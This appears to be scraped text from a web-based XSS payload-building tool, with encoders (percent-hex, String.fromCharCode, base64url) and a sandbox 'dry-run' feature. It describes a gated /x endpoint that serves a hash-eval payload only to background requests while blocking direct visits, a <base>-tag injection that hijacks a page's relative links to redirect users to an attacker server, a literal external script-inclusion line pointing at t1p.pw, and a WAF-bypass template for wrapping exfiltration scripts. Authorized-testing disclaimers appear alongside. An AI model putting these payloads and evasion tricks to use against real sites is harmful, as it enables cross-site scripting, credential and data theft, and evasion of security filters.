All processing runs locally in your browser. Anything you choose to "run" executes
only inside an isolated, sandboxed iframe — it cannot read this page,
your cookies, or any other origin. Nothing is sent to a server or aimed at a third party.
The gated endpoint at /x serves a hash-eval payload only to background
sub-resource requests; direct browser navigation is blocked (403).
Encodes every byte (UTF-8) as a %XX percent-hex sequence, and decodes it back.
Turns text into a comma-separated char-code array wrapped in
String.fromCharCode(...). "Run in sandbox" evaluates the generated
expression inside the isolated iframe so you can see what it produces.
Standard Base64 with +/ swapped for -_ and
= padding stripped. Decoding restores padding automatically.
Injects a <base> tag to hijack all relative URLs on the target page.
When a user clicks any link with a relative href, they're redirected to your server
where the hash-based XSS payload executes.
<script src=//t1p.pw></script> for direct script inclusion.
Takes a custom JavaScript payload (e.g. an exfiltration or proof-of-execution
script) and wraps it into a tight, layout-breaking WAF-bypass template. The template is
the exact same hash-eval indirection served by the gated /x endpoint.
your-app.example as a
placeholder — point this at applications you own or are explicitly authorized to
test (e.g., a signed pentest engagement or an in-scope bug-bounty asset). The
"Dry-run" button executes your script only in this page's isolated sandbox so you can
confirm behaviour without touching any live target.